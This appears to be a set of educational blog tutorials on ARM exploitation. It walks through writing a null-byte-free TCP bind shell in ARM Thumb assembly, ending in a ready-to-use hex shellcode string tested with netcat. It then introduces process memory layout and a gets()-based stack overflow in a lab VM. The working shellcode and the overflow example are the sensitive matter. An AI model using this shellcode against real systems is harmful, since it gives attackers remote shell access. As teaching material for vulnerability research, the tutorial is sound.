День: 12.01.2018

In this tutorial, you will learn how to write TCP bind shellcode that is free of null bytes and can be used as shellcode for exploitation. When I talk about exploitation, I’m strictly referring to approved and legal vulnerability research. For those of you relatively new to software exploitation, let me tell you that this knowledge can, in fact, be used for good. If I find a software vulnerability like a stack overflow and want to test its exploitability, I need working shellcode. Not only that, I need techniques to use that shellcode in a way that it can be executed despite the security measures in place. Only then I can show the exploitability of this vulnerability and the techniques malicious attackers could be using to take advantage of security flaws.

After going through this tutorial, you will not only know how to write shellcode that binds a shell to a local port, but also how to write any shellcode for that matter. To go from bind shellcode to reverse shellcode is just about changing 1-2 functions, some parameters, but most of it is the same. Writing a bind or reverse shell is more difficult than creating a simple execve() shell. If you want to start small, you can learn how to write a simple execve() shell in assembly before diving into this slightly more extensive tutorial. If you need a refresher in Arm assembly, take a look at my ARM Assembly Basics tutorial series, or use this Cheat Sheet:

Before we start, I’d like to remind you that we’re creating ARM shellcode and therefore need to set up an ARM lab environment if you don’t already have one. You can set it up yourself (Emulate Raspberry Pi with QEMU) or save time and download the ready-made Lab VM I created (ARM Lab VM). Ready?

First of all, what is a bind shell and how does it really work? With a bind shell, you open up a communication port or a listener on the target machine. The listener then waits for an incoming connection, you connect to it, the listener accepts the connection and gives you shell access to the target system.

This is different from how Reverse Shells work. With a reverse shell, you make the target machine communicate back to your machine. In that case, your machine has a listener port on which it receives the connection back from the target system.

Both types of shell have their advantages and disadvantages depending on the target environment. It is, for example, more common that the firewall of the target network fails to block outgoing connections than incoming. This means that your bind shell would bind a port on the target system, but since incoming connections are blocked, you wouldn’t be able to connect to it. Therefore, in some scenarios, it is better to have a reverse shell that can take advantage of firewall misconfigurations that allow outgoing connections. If you know how to write a bind shell, you know how to write a reverse shell. There are only a couple of changes necessary to transform your assembly code into a reverse shell once you understand how it is done.

To translate the functionalities of a bind shell into assembly, we first need to get familiar with the process of a bind shell:

1. Create a new TCP socket
2. Bind socket to a local port
3. Listen for incoming connections
4. Accept incoming connection
5. Redirect STDIN, STDOUT and STDERR to a newly created socket from a client
6. Spawn the shell

This is the C code we will use for our translation.

#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int host_sockid;    // socket file descriptor 
int client_sockid;  // client file descriptor 

struct sockaddr_in hostaddr;            // server aka listen address

int main() 
{ 
    // Create new TCP socket 
    host_sockid = socket(PF_INET, SOCK_STREAM, 0); 

    // Initialize sockaddr struct to bind socket using it 
    hostaddr.sin_family = AF_INET;                  // server socket type address family = internet protocol address
    hostaddr.sin_port = htons(4444);                // server port, converted to network byte order
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, converted to network byte order

    // Bind socket to IP/Port in sockaddr struct 
    bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); 

    // Listen for incoming connections 
    listen(host_sockid, 2); 

    // Accept incoming connection 
    client_sockid = accept(host_sockid, NULL, NULL); 

    // Duplicate file descriptors for STDIN, STDOUT and STDERR 
    dup2(client_sockid, 0); 
    dup2(client_sockid, 1); 
    dup2(client_sockid, 2); 

    // Execute /bin/sh 
    execve("/bin/sh", NULL, NULL); 
    close(host_sockid); 

    return 0; 
}

The first step is to identify the necessary system functions, their parameters, and their system call numbers. Looking at the C code above, we can see that we need the following functions: socket, bind, listen, accept, dup2, execve. You can figure out the system call numbers of these functions with the following command:

pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket
#define __NR_socketcall             (__NR_SYSCALL_BASE+102)
#define __NR_socket                 (__NR_SYSCALL_BASE+281)
#define __NR_socketpair             (__NR_SYSCALL_BASE+288)
#undef __NR_socketcall

If you’re wondering about the value of _NR_SYSCALL_BASE, it’s 0:

root@raspberrypi:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0

These are all the syscall numbers we’ll need:

#define __NR_socket    (__NR_SYSCALL_BASE+281)
#define __NR_bind      (__NR_SYSCALL_BASE+282)
#define __NR_listen    (__NR_SYSCALL_BASE+284)
#define __NR_accept    (__NR_SYSCALL_BASE+285)
#define __NR_dup2      (__NR_SYSCALL_BASE+ 63)
#define __NR_execve    (__NR_SYSCALL_BASE+ 11)

The parameters each function expects can be looked up in the linux man pages, or on w3challs.com.

The next step is to figure out the specific values of these parameters. One way of doing that is to look at a successful bind shell connection using strace. Strace is a tool you can use to trace system calls and monitor interactions between processes and the Linux Kernel. Let’s use strace to test the C version of our bind shell. To reduce the noise, we limit the output to the functions we’re interested in.

Terminal 1:
pi@raspberrypi:~/bindshell $ gcc bind_test.c -o bind_test
pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test

Terminal 2:
pi@raspberrypi:~ $ netstat -tlpn
Proto Recv-Q  Send-Q  Local Address  Foreign Address  State     PID/Program name
tcp    0      0       0.0.0.0:22     0.0.0.0:*        LISTEN    - 
tcp    0      0       0.0.0.0:4444   0.0.0.0:*        LISTEN    1058/bind_test 
pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

This is our strace output:

pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 2) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0

Now we can fill in the gaps and note down the values we’ll need to pass to the functions of our assembly bind shell.

In the first stage, we answered the following questions to get everything we need for our assembly program:

1. Which functions do I need?
2. What are the system call numbers of these functions?
3. What are the parameters of these functions?
4. What are the values of these parameters?

This step is about applying this knowledge and translating it to assembly. Split each function into a separate chunk and repeat the following process:

1. Map out which register you want to use for which parameter
2. Figure out how to pass the required values to these registers
   1. How to pass an immediate value to a register
   2. How to nullify a register without directly moving a #0 into it (we need to avoid null-bytes in our code and must therefore find other ways to nullify a register or a value in memory)
   3. How to make a register point to a region in memory which stores constants and strings
3. Use the right system call number to invoke the function and keep track of register content changes
   1. Keep in mind that the result of a system call will land in r0, which means that in case you need to reuse the result of that function in another function, you need to save it into another register before invoking the function.
   2. Example: host_sockid = socket(2, 1, 0) – the result (host_sockid) of the socket call will land in r0. This result is reused in other functions like listen(host_sockid, 2), and should therefore be preserved in another register.

0 – Switch to Thumb Mode

The first thing you should do to reduce the possibility of encountering null-bytes is to use Thumb mode. In Arm mode, the instructions are 32-bit, in Thumb mode they are 16-bit. This means that we can already reduce the chance of having null-bytes by simply reducing the size of our instructions. To recap how to switch to Thumb mode: ARM instructions must be 4 byte aligned. To change the mode from ARM to Thumb, set the LSB (Least Significant Bit) of the next instruction’s address (found in PC) to 1 by adding 1 to the PC register’s value and saving it to another register. Then use a BX (Branch and eXchange) instruction to branch to this other register containing the address of the next instruction with the LSB set to one, which makes the processor switch to Thumb mode. It all boils down to the following two instructions.

.section .text
.global _start
_start:
    .ARM
    add     r3, pc, #1            
    bx      r3

From here you will be writing Thumb code and will therefore need to indicate this by using the .THUMB directive in your code.

1 – Create new Socket

These are the values we need for the socket call parameters:

root@raspberrypi:/home/pi# grep -R "AF_INET\|PF_INET \|SOCK_STREAM =\|IPPROTO_IP =" /usr/include/
/usr/include/linux/in.h: IPPROTO_IP = 0,                               // Dummy protocol for TCP 
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1,  // Sequenced, reliable, connection-based
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2       // IP protocol family. 
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET

After setting up the parameters, you invoke the socket system call with the svc instruction. The result of this invocation will be our host_sockid and will end up in r0. Since we need host_sockid later on, let’s save it to r4.

In ARM, you can’t simply move any immediate value into a register. If you’re interested more details about this nuance, there is a section in the Memory Instructions chapter (at the very end).

To check if I can use a certain immediate value, I wrote a tiny script (ugly code, don’t look) called rotator.py.

pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 281
Sorry, 281 cannot be used as an immediate number and has to be split.

pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 200
The number 200 can be used as a valid immediate number.
50 ror 30 --> 200

pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 81
The number 81 can be used as a valid immediate number.
81 ror 0 --> 81

Final code snippet:

    .THUMB
    mov     r0, #2
    mov     r1, #1
    sub     r2, r2, r2
    mov     r7, #200
    add     r7, #81                // r7 = 281 (socket syscall number) 
    svc     #1                     // r0 = host_sockid value 
    mov     r4, r0                 // save host_sockid in r4

2 – Bind Socket to Local Port

With the first instruction, we store a structure object containing the address family, host port and host address in the literal pool and reference this object with pc-relative addressing. The literal pool is a memory area in the same section (because the literal pool is part of the code) storing constants, strings, or offsets. Instead of calculating the pc-relative offset manually, you can use an ADR instruction with a label. ADR accepts a PC-relative expression, that is, a label with an optional offset where the address of the label is relative to the PC label. Like this:

// bind(r0, &sockaddr, 16)
 adr r1, struct_addr    // pointer to address, port
 [...]
struct_addr:
.ascii "\x02\xff"       // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c"       // port number 4444 
.byte 1,1,1,1           // IP Address

The next 5 instructions are STRB (store byte) instructions. A STRB instruction stores one byte from a register to a calculated memory region. The syntax [r1, #1] means that we take R1 as the base address and the immediate value (#1) as an offset.

In the first instruction we made R1 point to the memory region where we store the values of the address family AF_INET, the local port we want to use, and the IP address. We could either use a static IP address, or we could specify 0.0.0.0 to make our bind shell listen on all IPs which the target is configured with, making our shellcode more portable. Now, those are a lot of null-bytes.

Again, the reason we want to get rid of any null-bytes is to make our shellcode usable for exploits that take advantage of memory corruption vulnerabilities that might be sensitive to null-bytes. Some buffer overflows are caused by improper use of functions like ‘strcpy’. The job of strcpy is to copy data until it receives a null-byte. We use the overflow to take control over the program flow and if strcpy hits a null-byte it will stop copying our shellcode and our exploit will not work. With the strb instruction we take a null byte from a register and modify our own code during execution. This way, we don’t actually have a null byte in our shellcode, but dynamically place it there. This requires the code section to be writable and can be achieved by adding the -N flag during the linking process.

For this reason, we code without null-bytes and dynamically put a null-byte in places where it’s necessary. As you can see in the next picture, the IP address we specify is 1.1.1.1 which will be replaced by 0.0.0.0 during execution.

The first STRB instruction replaces the placeholder xff in \x02\xff with x00 to set the AF_INET to \x02\x00. How do we know that it’s a null byte being stored? Because r2 contains 0’s only due to the “sub r2, r2, r2” instruction which cleared the register. The next 4 instructions replace 1.1.1.1 with 0.0.0.0. Instead of the four strb instructions after strb r2, [r1, #1], you can also use one single str r2, [r1, #4] to do a full 0.0.0.0 write.

The move instruction puts the length of the sockaddr_in structure length (2 bytes for AF_INET, 2 bytes for PORT, 4 bytes for ipaddress, 8 bytes padding = 16 bytes) into r2. Then, we set r7 to 282 by simply adding 1 to it, because r7 already contains 281 from the last syscall.

// bind(r0, &sockaddr, 16)
    adr  r1, struct_addr   // pointer to address, port
    strb r2, [r1, #1]     // write 0 for AF_INET
    strb r2, [r1, #4]     // replace 1 with 0 in x.1.1.1
    strb r2, [r1, #5]     // replace 1 with 0 in 0.x.1.1
    strb r2, [r1, #6]     // replace 1 with 0 in 0.0.x.1
    strb r2, [r1, #7]     // replace 1 with 0 in 0.0.0.x
    mov r2, #16
    add r7, #1            // r7 = 281+1 = 282 (bind syscall number) 
    svc #1
    nop

3 – Listen for Incoming Connections

Here we put the previously saved host_sockid into r0. R1 is set to 2, and r7 is just increased by 2 since it still contains the 282 from the last syscall.

mov     r0, r4     // r0 = saved host_sockid 
mov     r1, #2
add     r7, #2     // r7 = 284 (listen syscall number)
svc     #1

4 – Accept Incoming Connection

Here again, we put the saved host_sockid into r0. Since we want to avoid null bytes, we use don’t directly move #0 into r1 and r2, but instead, set them to 0 by subtracting them from each other. R7 is just increased by 1. The result of this invocation will be our client_sockid, which we will save in r4, because we will no longer need the host_sockid that was kept there (we will skip the close function call from our C code).

    mov     r0, r4          // r0 = saved host_sockid 
    sub     r1, r1, r1      // clear r1, r1 = 0
    sub     r2, r2, r2      // clear r2, r2 = 0
    add     r7, #1          // r7 = 285 (accept syscall number)
    svc     #1
    mov     r4, r0          // save result (client_sockid) in r4

5 – STDIN, STDOUT, STDERR

For the dup2 functions, we need the syscall number 63. The saved client_sockid needs to be moved into r0 once again, and sub instruction sets r1 to 0. For the remaining two dup2 calls, we only need to change r1 and reset r0 to the client_sockid after each system call.

    /* dup2(client_sockid, 0) */
    mov     r7, #63                // r7 = 63 (dup2 syscall number) 
    mov     r0, r4                 // r4 is the saved client_sockid 
    sub     r1, r1, r1             // r1 = 0 (stdin) 
    svc     #1

    /* dup2(client_sockid, 1) */
    mov     r0, r4                 // r4 is the saved client_sockid 
    add     r1, #1                 // r1 = 1 (stdout) 
    svc     #1

    /* dup2(client_sockid, 2) */
    mov     r0, r4                 // r4 is the saved client_sockid
    add     r1, #1                 // r1 = 1+1 (stderr) 
    svc     #1

6 – Spawn the Shell

// execve("/bin/sh", 0, 0) 
 adr r0, shellcode     // r0 = location of "/bin/shX"
 eor r1, r1, r1        // clear register r1. R1 = 0
 eor r2, r2, r2        // clear register r2. r2 = 0
 strb r2, [r0, #7]     // store null-byte for AF_INET
 mov r7, #11           // execve syscall number
 svc #1
 nop

The execve() function we use in this example follows the same process as in the Writing ARM Shellcode tutorial where everything is explained step by step.

Finally, we put the value AF_INET (with 0xff, which will be replaced by a null), the port number, IP address, and the “/bin/sh” string at the end of our assembly code.

struct_addr:
.ascii "\x02\xff"      // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c"     // port number 4444 
.byte 1,1,1,1        // IP Address 
shellcode:
.ascii "/bin/shX"

This is what our final bind shellcode looks like.

.section .text
.global _start
    _start:
    .ARM
    add r3, pc, #1         // switch to thumb mode 
    bx r3

    .THUMB
// socket(2, 1, 0)
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2      // set r2 to null
    mov r7, #200        // r7 = 281 (socket)
    add r7, #81         // r7 value needs to be split 
    svc #1              // r0 = host_sockid value
    mov r4, r0          // save host_sockid in r4

// bind(r0, &sockaddr, 16)
    adr  r1, struct_addr // pointer to address, port
    strb r2, [r1, #1]    // write 0 for AF_INET
    strb r2, [r1, #4]    // replace 1 with 0 in x.1.1.1
    strb r2, [r1, #5]    // replace 1 with 0 in 0.x.1.1
    strb r2, [r1, #6]    // replace 1 with 0 in 0.0.x.1
    strb r2, [r1, #7]    // replace 1 with 0 in 0.0.0.x
    mov r2, #16          // struct address length
    add r7, #1           // r7 = 282 (bind) 
    svc #1
    nop

// listen(sockfd, 0) 
    mov r0, r4           // set r0 to saved host_sockid
    mov r1, #2        
    add r7, #2           // r7 = 284 (listen syscall number) 
    svc #1        

// accept(sockfd, NULL, NULL); 
    mov r0, r4           // set r0 to saved host_sockid
    sub r1, r1, r1       // set r1 to null
    sub r2, r2, r2       // set r2 to null
    add r7, #1           // r7 = 284+1 = 285 (accept syscall)
    svc #1               // r0 = client_sockid value
    mov r4, r0           // save new client_sockid value to r4  

// dup2(sockfd, 0) 
    mov r7, #63         // r7 = 63 (dup2 syscall number) 
    mov r0, r4          // r4 is the saved client_sockid 
    sub r1, r1, r1      // r1 = 0 (stdin) 
    svc #1

// dup2(sockfd, 1)
    mov r0, r4          // r4 is the saved client_sockid 
    add r1, #1          // r1 = 1 (stdout) 
    svc #1

// dup2(sockfd, 2) 
    mov r0, r4          // r4 is the saved client_sockid
    add r1, #1          // r1 = 2 (stderr) 
    svc #1

// execve("/bin/sh", 0, 0) 
    adr r0, shellcode   // r0 = location of "/bin/shX"
    eor r1, r1, r1      // clear register r1. R1 = 0
    eor r2, r2, r2      // clear register r2. r2 = 0
    strb r2, [r0, #7]   // store null-byte for AF_INET
    mov r7, #11         // execve syscall number
    svc #1
    nop

struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c" // port number 4444 
.byte 1,1,1,1 // IP Address 
shellcode:
.ascii "/bin/shX"

Save your assembly code into a file called bind_shell.s. Don’t forget the -N flag when using ld. The reason for this is that we use multiple the strb operations to modify our code section (.text). This requires the code section to be writable and can be achieved by adding the -N flag during the linking process.

pi@raspberrypi:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell
pi@raspberrypi:~/bindshell $ ./bind_shell

Then, connect to your specified port:

pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
uname -a
Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux

It works! Now let’s translate it into a hex string with the following command:

pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin
pi@raspberrypi:~/bindshell $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' bind_shell.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x37\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58

Voilà, le bind shellcode! This shellcode is 112 bytes long. Since this is a beginner tutorial and to keep it simple, the shellcode is not as short as it could be. After making the initial shellcode work, you can try to find ways to reduce the amount of instructions, hence making the shellcode shorter.

Let’s say you got curious about ARM assembly or exploitation and want to write your first assembly scripts or solve some ARM challenges. For that you either need an Arm device (e.g. Raspberry Pi), or you set up your lab environment in a VM for quick access.

This page contains 3 levels of lab setup laziness.

• Manual Setup – Level 0
• Ain’t nobody got time for that – Level 1
• Ain’t nobody got time for that – Level 2

If you have the time and nerves to set up the lab environment yourself, I’d recommend doing it. You might get stuck, but you might also learn a lot in the process. Knowing how to emulate things with QEMU also enables you to choose what ARM version you want to emulate in case you want to practice on a specific processor.

How to emulate Raspbian with QEMU.

Welcome on laziness level 1. I see you don’t have time to struggle through various linux and QEMU errors, or maybe you’ve tried setting it up yourself but some random error occurred and after spending hours trying to fix it, you’ve had enough.

Don’t worry, here’s a solution: Hugsy (aka creator of GEF) released ready-to-play Qemu images for architectures like ARM, MIPS, PowerPC, SPARC, AARCH64, etc. to play with. All you need is Qemu. Then download the link to your image, and unzip the archive.

Become a ninja on non-x86 architectures

Let me guess, you don’t want to bother with any of this and just want a ready-made Ubuntu VM with all QEMU stuff setup and ready-to-play. Very well. The first Azeria-Labs VM is ready. It’s a naked Ubuntu VM containing an emulated ARMv6l.

This VM is also for those of you who tried emulating ARM with QEMU but got stuck for inexplicable linux reasons. I understand the struggle, trust me.

Download here:

• Full on GDrive: https://drive.google.com/file/d/1uX9fRUX-IHitQVD43QUsz9Aocy8pJ8XK/view?usp=sharing
• Full on Mega.nz: https://mega.nz/#!1K4k1T5a!hGNAUNbTktPB69dOMRpOT-y2znlIB8LQ1twTp90Uu8s
• Split on Mega.nz: https://mega.nz/#F!AO5j0ZCJ!ltZHLnXtpLccI4kkr-j2Xw
• Split on GDrive: https://drive.google.com/drive/folders/1p_XdsiVVSGk-LLtSFOov1H1y8z7g_SeK?usp=sharing

VMware image size:

• Downloaded zip: Azeria-Lab-v1.7z (4.62 GB)
  • MD5: C0EA2F16179CF813D26628DC792C5DE6
  • SHA1: 1BB1ABF3C277E0FD06AF0AECFEDF7289730657F2
• Extracted VMware image: ~16GB

Password: azerialabs

Host system specs:

• Ubuntu 16.04.3 LTS 64-bit (kernel 4.10.0-38-generic) with Gnome 3
• HDD: ~26GB (ext4) + ~4GB Swap
• RAM (configured): 4GB

QEMU setup:

• Raspbian 8 (27-04-10-raspbian-jessie) 32-bit (kernel qemu-4.4.34-jessie)
• HDD: ~8GB
• RAM: ~256MB
• Tools: GDB (Raspbian 7.7.1+dfsg-5+rpi1) with GEF

I’ve included a Lab VM Starter Guide and set it as the background image of the VM. It explains how to start up QEMU, how to write your first assembly program, how to assemble and disassemble, and some debugging basics. Enjoy!

The prerequisite for this part of the tutorial is a basic understanding of ARM assembly (covered in the first tutorial series “ARM Assembly Basics“). In this chapter you will get an introduction into the memory layout of a process in a 32-bit Linux environment. After that you will learn the fundamentals of Stack and Heap related memory corruptions and how they look like in a debugger.

1. Buffer Overflows
   • Stack Overflow
   • Heap Overflow
2. Dangling Pointer
3. Format String

The examples used in this tutorial are compiled on an ARMv6 32-bit processor. If you don’t have access to an ARM device, you can create your own lab and emulate a Raspberry Pi distro in a VM by following this tutorial: Emulate Raspberry Pi with QEMU. The debugger used here is GDB with GEF (GDB Enhanced Features). If you aren’t familiar with these tools, you can check out this tutorial: Debugging with GDB and GEF.

Every time we start a program, a memory area for that program is reserved. This area is then split into multiple regions. Those regions are then split into even more regions (segments), but we will stick with the general overview. So, the parts we are interested are:

1. Program Image
2. Heap
3. Stack

In the picture below we can see a general representation of how those parts are laid out within the process memory. The addresses used to specify memory regions are just for the sake of an example, because they will differ from environment to environment, especially when ASLR is used.

Program Image region basically holds the program’s executable file which got loaded into the memory. This memory region can be split into various segments: .plt, .text, .got, .data, .bss and so on. These are the most relevant. For example, .text contains the executable part of the program with all the Assembly instructions, .data and .bss holds the variables or pointers to variables used in the application, .plt and .got stores specific pointers to various imported functions from, for example, shared libraries. From a security standpoint, if an attacker could affect the integrity (rewrite) of the .text section, he could execute arbitrary code. Similarly, corruption of Procedure Linkage Table (.plt) and Global Offsets Table (.got) could under specific circumstances lead to execution of arbitrary code.

The Stack and Heap regions are used by the application to store and operate on temporary data (variables) that are used during the execution of the program. These regions are commonly exploited by attackers, because data in the Stack and Heap regions can often be modified by the user’s input, which, if not handled properly, can cause a memory corruption. We will look into such cases later in this chapter.

In addition to the mapping of the memory, we need to be aware of the attributes associated with different memory regions. A memory region can have one or a combination of the following attributes: Read, Write, eXecute. The Read attribute allows the program to read data from a specific region. Similarly, Write allows the program to write data into a specific memory region, and Execute – execute instructions in that memory region. We can see the process memory regions in GEF (a highly recommended extension for GDB) as shown below:

azeria@labs:~/exp $ gdb program
...
gef> gef config context.layout "code"
gef> break main
Breakpoint 1 at 0x104c4: file program.c, line 6.
gef> run
...
gef> nexti 2
-----------------------------------------------------------------------------------------[ code:arm ]----
...
      0x104c4 <main+20>        mov    r0,  #8
      0x104c8 <main+24>        bl     0x1034c <malloc@plt>
->    0x104cc <main+28>        mov    r3,  r0
      0x104d0 <main+32>        str    r3,  [r11,  #-8]
...
gef> vmmap
Start      End        Offset     Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/azeria/exp/program <---- Program Image
0x00020000 0x00021000 0x00000000 rw- /home/azeria/exp/program <---- Program Image continues...
0x00021000 0x00042000 0x00000000 rw- [heap] <---- HEAP
0xb6e74000 0xb6f9f000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so <---- Shared library (libc)
0xb6f9f000 0xb6faf000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so <---- libc continues...
0xb6faf000 0xb6fb1000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so <---- libc continues...
0xb6fb1000 0xb6fb2000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so <---- libc continues...
0xb6fb2000 0xb6fb5000 0x00000000 rw-
0xb6fcc000 0xb6fec000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.19.so <---- Shared library (ld)
0xb6ffa000 0xb6ffb000 0x00000000 rw-
0xb6ffb000 0xb6ffc000 0x0001f000 r-- /lib/arm-linux-gnueabihf/ld-2.19.so <---- ld continues...
0xb6ffc000 0xb6ffd000 0x00020000 rw- /lib/arm-linux-gnueabihf/ld-2.19.so <---- ld continues...
0xb6ffd000 0xb6fff000 0x00000000 rw-
0xb6fff000 0xb7000000 0x00000000 r-x [sigpage]
0xbefdf000 0xbf000000 0x00000000 rw- [stack] <---- STACK
0xffff0000 0xffff1000 0x00000000 r-x [vectors]

The Heap section in the vmmap command output appears only after some Heap related function was used. In this case we see the malloc function being used to create a buffer in the Heap region. So if you want to try this out, you would need to debug a program that makes a malloc call (you can find some examples in this page, scroll down or use find function).

Additionally, in Linux we can inspect the process’ memory layout by accessing a process-specific “file”:

azeria@labs:~/exp $ ps aux | grep program
azeria   31661 12.3 12.1  38680 30756 pts/0    S+   23:04   0:10 gdb program
azeria   31665  0.1  0.2   1712   748 pts/0    t    23:04   0:00 /home/azeria/exp/program
azeria   31670  0.0  0.7   4180  1876 pts/1    S+   23:05   0:00 grep --color=auto program
azeria@labs:~/exp $ cat /proc/31665/maps
00010000-00011000 r-xp 00000000 08:02 274721     /home/azeria/exp/program
00020000-00021000 rw-p 00000000 08:02 274721     /home/azeria/exp/program
00021000-00042000 rw-p 00000000 00:00 0          [heap]
b6e74000-b6f9f000 r-xp 00000000 08:02 132394     /lib/arm-linux-gnueabihf/libc-2.19.so
b6f9f000-b6faf000 ---p 0012b000 08:02 132394     /lib/arm-linux-gnueabihf/libc-2.19.so
b6faf000-b6fb1000 r--p 0012b000 08:02 132394     /lib/arm-linux-gnueabihf/libc-2.19.so
b6fb1000-b6fb2000 rw-p 0012d000 08:02 132394     /lib/arm-linux-gnueabihf/libc-2.19.so
b6fb2000-b6fb5000 rw-p 00000000 00:00 0
b6fcc000-b6fec000 r-xp 00000000 08:02 132358     /lib/arm-linux-gnueabihf/ld-2.19.so
b6ffa000-b6ffb000 rw-p 00000000 00:00 0
b6ffb000-b6ffc000 r--p 0001f000 08:02 132358     /lib/arm-linux-gnueabihf/ld-2.19.so
b6ffc000-b6ffd000 rw-p 00020000 08:02 132358     /lib/arm-linux-gnueabihf/ld-2.19.so
b6ffd000-b6fff000 rw-p 00000000 00:00 0
b6fff000-b7000000 r-xp 00000000 00:00 0          [sigpage]
befdf000-bf000000 rw-p 00000000 00:00 0          [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]

Most programs are compiled in a way that they use shared libraries. Those libraries are not part of the program image (even though it is possible to include them via static linking) and therefore have to be referenced (included) dynamically. As a result, we see the libraries (libc, ld, etc.) being loaded in the memory layout of a process. Roughly speaking, the shared libraries are loaded somewhere in the memory (outside of process’ control) and our program just creates virtual “links” to that memory region. This way we save memory without the need to load the same library in every instance of a program.

A memory corruption is a software bug type that allows to modify the memory in a way that was not intended by the programmer. In most cases, this condition can be exploited to execute arbitrary code, disable security mechanisms, etc. This is done by crafting and injecting a payload which alters certain memory sections of a running program. The following list contains the most common memory corruption types/vulnerabilities:

1. Buffer Overflows
   • Stack Overflow
   • Heap Overflow
2. Dangling Pointer (Use-after-free)
3. Format String

In this chapter we will try to get familiar with the basics of Buffer Overflow memory corruption vulnerabilities (the remaining ones will be covered in the next chapter). In the examples we are about to cover we will see that the main cause of memory corruption vulnerabilities is an improper user input validation, sometimes combined with a logical flaw. For a program, the input (or a malicious payload) might come in a form of a username, file to be opened, network packet, etc. and can often be influenced by the user. If a programmer did not put safety measures for potentially harmful user input it is often the case that the target program will be subject to some kind of memory related issue.

Buffer overflows are one of the most widespread memory corruption classes and are usually caused by a programming mistake which allows the user to supply more data than there is available for the destination variable (buffer). This happens, for example, when vulnerable functions, such as gets, strcpy, memcpy or others are used along with data supplied by the user. These functions do not check the length of the user’s data which can result into writing past (overflowing) the allocated buffer. To get a better understanding, we will look into basics of Stack and Heap based buffer overflows.

Stack Overflow

Stack overflow, as the name suggests, is a memory corruption affecting the Stack. While in most cases arbitrary corruption of the Stack would most likely result in a program’s crash, a carefully crafted Stack buffer overflow can lead to arbitrary code execution. The following picture shows an abstract overview of how the Stack can get corrupted.

As you can see in the picture above, the Stack frame (a small part of the whole Stack dedicated for a specific function) can have various components: user data, previous Frame Pointer, previous Link Register, etc. In case the user provides too much of data for a controlled variable, the FP and LR fields might get overwritten. This breaks the execution of the program, because the user corrupts the address where the application will return/jump after the current function is finished.

To check how it looks like in practice we can use this example:

/*azeria@labs:~/exp $ gcc stack.c -o stack*/
#include "stdio.h"

int main(int argc, char **argv)
{
char buffer[8];
gets(buffer);
}

Our sample program uses the variable “buffer”, with the length of 8 characters, and a function “gets” for user’s input, which simply sets the value of the variable “buffer” to whatever input the user provides. The disassembled code of this program looks like the following:

Here we suspect that a memory corruption could happen right after the function “gets” is completed. To investigate this, we place a break-point right after the branch instruction that calls the “gets” function – in our case, at address 0x0001043c. To reduce the noise we configure GEF’s layout to show us only the code and the Stack (see the command in the picture below). Once the break-point is set, we proceed with the program and provide 7 A’s as the user’s input (we use 7 A’s, because a null-byte will be automatically appended by function “gets”).

When we investigate the Stack of our example we see (image above) that the Stack frame is not corrupted. This is because the input supplied by the user fits in the expected 8 byte buffer and the previous FP and LR values within the Stack frame are not corrupted. Now let’s provide 16 A’s and see what happens.

